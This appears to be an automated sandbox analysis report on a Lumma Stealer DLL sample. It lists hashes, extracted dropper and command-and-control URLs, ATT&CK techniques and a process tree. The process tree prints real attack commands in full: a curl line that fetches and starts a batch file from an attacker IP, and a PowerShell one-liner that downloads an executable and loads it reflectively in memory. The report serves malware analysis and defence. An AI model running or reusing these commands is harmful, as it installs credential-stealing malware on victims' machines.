lumma | b260f38480746bb3769dbbc23802b3207b093e552d61b3e787386b94b081e31f

Analysis

max time kernel
94s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21/01/2025, 18:41

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General

Target

b260f38480746bb3769dbbc23802b3207b093e552d61b3e787386b94b081e31f.dll
Size

80KB
MD5

07fd51e1e8368144ea403137a671b84c
SHA1

b41a78c43c5bf58f6664cb455130c9501c370f05
SHA256

b260f38480746bb3769dbbc23802b3207b093e552d61b3e787386b94b081e31f
SHA512

854a57be09cb09217d268f9e5c2d9ce5da8cbed1fa75c3ec38cc2f1b323377cdbd4db29687fa01e186a1cad6a2ee2e18f8645f98f551eeaa9805269a21354dd7
SSDEEP

1536:Y2ShYtT4To+GdOfoPXRr9tXLtAuQeSVdJssWdcd7IW3+ZR+ueK:Y2z0To+GdlhrbwJJ7IW3+n+ue

Score

10^/10

lumma discovery execution stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://147.45.44.131/infopage/ioubcs.exe

exe.dropper

http://147.45.44.131/infopage/ioubcs.exe

Extracted

Family

lumma

https://factlosserk.click/api

Signatures

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Blocklisted process makes network request 1 IoCs

flow	pid	Process
15	4104	powershell.exe

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4104	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4104 set thread context of 4976	4104	powershell.exe	92

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4104	powershell.exe
4104	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4104	powershell.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 2112 wrote to memory of 4980	2112	regsvr32.exe	83
PID 2112 wrote to memory of 4980	2112	regsvr32.exe	83
PID 2112 wrote to memory of 4980	2112	regsvr32.exe	83
PID 4980 wrote to memory of 3512	4980	regsvr32.exe	84
PID 4980 wrote to memory of 3512	4980	regsvr32.exe	84
PID 4980 wrote to memory of 3512	4980	regsvr32.exe	84
PID 3512 wrote to memory of 5032	3512	cmd.exe	86
PID 3512 wrote to memory of 5032	3512	cmd.exe	86
PID 3512 wrote to memory of 5032	3512	cmd.exe	86
PID 3512 wrote to memory of 2936	3512	cmd.exe	87
PID 3512 wrote to memory of 2936	3512	cmd.exe	87
PID 3512 wrote to memory of 2936	3512	cmd.exe	87
PID 2936 wrote to memory of 4104	2936	cmd.exe	89
PID 2936 wrote to memory of 4104	2936	cmd.exe	89
PID 2936 wrote to memory of 4104	2936	cmd.exe	89
PID 4104 wrote to memory of 4696	4104	powershell.exe	90
PID 4104 wrote to memory of 4696	4104	powershell.exe	90
PID 4104 wrote to memory of 4696	4104	powershell.exe	90
PID 4696 wrote to memory of 2392	4696	csc.exe	91
PID 4696 wrote to memory of 2392	4696	csc.exe	91
PID 4696 wrote to memory of 2392	4696	csc.exe	91
PID 4104 wrote to memory of 4976	4104	powershell.exe	92
PID 4104 wrote to memory of 4976	4104	powershell.exe	92
PID 4104 wrote to memory of 4976	4104	powershell.exe	92
PID 4104 wrote to memory of 4976	4104	powershell.exe	92
PID 4104 wrote to memory of 4976	4104	powershell.exe	92
PID 4104 wrote to memory of 4976	4104	powershell.exe	92
PID 4104 wrote to memory of 4976	4104	powershell.exe	92
PID 4104 wrote to memory of 4976	4104	powershell.exe	92
PID 4104 wrote to memory of 4976	4104	powershell.exe	92

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\b260f38480746bb3769dbbc23802b3207b093e552d61b3e787386b94b081e31f.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:2112
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\b260f38480746bb3769dbbc23802b3207b093e552d61b3e787386b94b081e31f.dll
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4980
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Temp\ & curl -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" -o AppS.bat http://147.45.44.131/infopage/vsgqwn1qxS.bat & start AppS.bat
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3512
  - - C:\Windows\SysWOW64\curl.exe
      curl -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" -o AppS.bat http://147.45.44.131/infopage/vsgqwn1qxS.bat
      4⤵
      PID:5032
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /K AppS.bat
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2936
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$url = 'http://147.45.44.131/infopage/ioubcs.exe'; $webClient = New-Object System.Net.WebClient; $headerName = 'X-Special-Header'; $headerValue = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'; $webClient.Headers.Add($headerName, $headerValue); $fileBytes = $webClient.DownloadData($url); $assembly = [System.Reflection.Assembly]::Load($fileBytes); $entryPoint = $assembly.EntryPoint; if ($entryPoint -ne $null) { $entryPoint.Invoke($null, @()); }"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4104
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ccpzn4is\ccpzn4is.cmdline"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4696
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8ACB.tmp" "c:\Users\Admin\AppData\Local\Temp\ccpzn4is\CSC9B274A1535D441B8828BEEB83A7F14A8.TMP"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2392
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RES8ACB.tmp

Filesize
1KB

MD5
016b6fcfecdb1b5ed2c1ccf2c391a814

SHA1
f4f99950557e15f0de8dfa8d2f98df994788d41c

SHA256
5b1d9a912ec8fabaf79700681567a3505f3e5cb641ba0f5b41179ef43e44a516

SHA512
c01cd78d0f1d9567b82d5f50445d6b67dd16540e6d2a7de9c180ad3fcaabdf86e109c78cb12adc36b7f3395bdaa96cc3273b7b56ad66bff0ea12398cb0db762d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n45yynra.xie.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ccpzn4is\ccpzn4is.dll

Filesize
9KB

MD5
af563fda59513de1cf9bd54c842930f5

SHA1
bb0ccf2bfa7f3a6388e6e6105528a34a8d1b1fef

SHA256
34b6ad6b7dff40171dea8e08bfebcbfeeb809a063c0b51f296c39942dfea05f9

SHA512
b2435a49e49ebfd9be6212163345668181776e123850000612f27cca84c22dc35a6bd29c1402631145e3e0f7214cbf86215da9a66a0e0e2cef9654ae4a52eb6b

Download Submit
C:\Windows\Temp\AppS.bat

Filesize
5KB

MD5
244582a493f376d9c0f5672292d11ff2

SHA1
95e5011b114869175aebca27f73b11a9b0a2360b

SHA256
ed786fd429082e725242f54db70f1a249c8deb54acb404bf27581fb523915c87

SHA512
59e4943cddd994af1ff8f724eb83065abca723891ab250a3c0a047e612111329f20a2fdba8dafd587c8f638f192b91c2a97d48503df59d3bf6dc7aec766d0d41

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ccpzn4is\CSC9B274A1535D441B8828BEEB83A7F14A8.TMP

Filesize
652B

MD5
e68fd1932e84a119b2875f57b5403f16

SHA1
a360ec1208a49b7d722b3b9d98a2dbf8ca9bea3b

SHA256
1baf0c41e97d6e57b3feac57efac872099c6fd1c2098eeaa0457ddc7df18d1da

SHA512
fe7f730c3dfda414a2525489c8c01bc5e4da2cf4310904dfd4090f1105ed4bf6d0cd170b721a4d56b951bbadd63de9b0f721e539897421f514a9acfa85868f2e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ccpzn4is\ccpzn4is.0.cs

Filesize
10KB

MD5
9a280bef5048674eed1b619db8e0c654

SHA1
f849de0496358992d1c0d40562da1aaede680453

SHA256
84a03780f5ebbf7989a4741b7a51206ac0b64562f2164af7427b5e1dac885d30

SHA512
6a4a1dba810d56dd64238d90e927b048570dbea05ec453826c23d2e267bf960e533ff9446827cba458f7c564b036bbe42613d5d3d7b68dd084cf4a17b2d2be5f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ccpzn4is\ccpzn4is.cmdline

Filesize
204B

MD5
5d29a30a35c631cf07f7c4b210c6792b

SHA1
ebe0a3146c53df90a74f45bb865909083f38ad54

SHA256
40d19c7663f72a5c5908aff2d8e5e4abc641eb8041c7717ddd9d30be5126f89c

SHA512
db82782b7d2a160a38e4e8bea2f30e211b42ca525841ff395f215221ad3955c6120e09e1a2fca7522db6f587ae1e2110ba710cf610a2de5234da32f777bcf799

Download Submit
memory/4104-7-0x00000000058D0000-0x00000000058F2000-memory.dmp

Filesize
136KB

Download
memory/4104-6-0x0000000074F50000-0x0000000075700000-memory.dmp

Filesize
7.7MB

Download
memory/4104-8-0x0000000006050000-0x00000000060B6000-memory.dmp

Filesize
408KB

Download
memory/4104-19-0x0000000006140000-0x0000000006494000-memory.dmp

Filesize
3.3MB

Download
memory/4104-20-0x0000000006790000-0x00000000067AE000-memory.dmp

Filesize
120KB

Download
memory/4104-21-0x00000000067D0000-0x000000000681C000-memory.dmp

Filesize
304KB

Download
memory/4104-22-0x0000000007EC0000-0x000000000853A000-memory.dmp

Filesize
6.5MB

Download
memory/4104-23-0x0000000006CD0000-0x0000000006CEA000-memory.dmp

Filesize
104KB

Download
memory/4104-24-0x0000000006D70000-0x0000000006D7E000-memory.dmp

Filesize
56KB

Download
memory/4104-9-0x00000000060C0000-0x0000000006126000-memory.dmp

Filesize
408KB

Download
memory/4104-5-0x0000000005930000-0x0000000005F58000-memory.dmp

Filesize
6.2MB

Download
memory/4104-4-0x0000000074F50000-0x0000000075700000-memory.dmp

Filesize
7.7MB

Download
memory/4104-3-0x0000000003170000-0x00000000031A6000-memory.dmp

Filesize
216KB

Download
memory/4104-2-0x0000000074F5E000-0x0000000074F5F000-memory.dmp

Filesize
4KB

Download
memory/4104-37-0x0000000005450000-0x0000000005458000-memory.dmp

Filesize
32KB

Download
memory/4104-43-0x0000000074F50000-0x0000000075700000-memory.dmp

Filesize
7.7MB

Download
memory/4976-40-0x0000000000400000-0x000000000045A000-memory.dmp

Filesize
360KB

Download
memory/4976-39-0x0000000000400000-0x000000000045A000-memory.dmp

Filesize
360KB

Download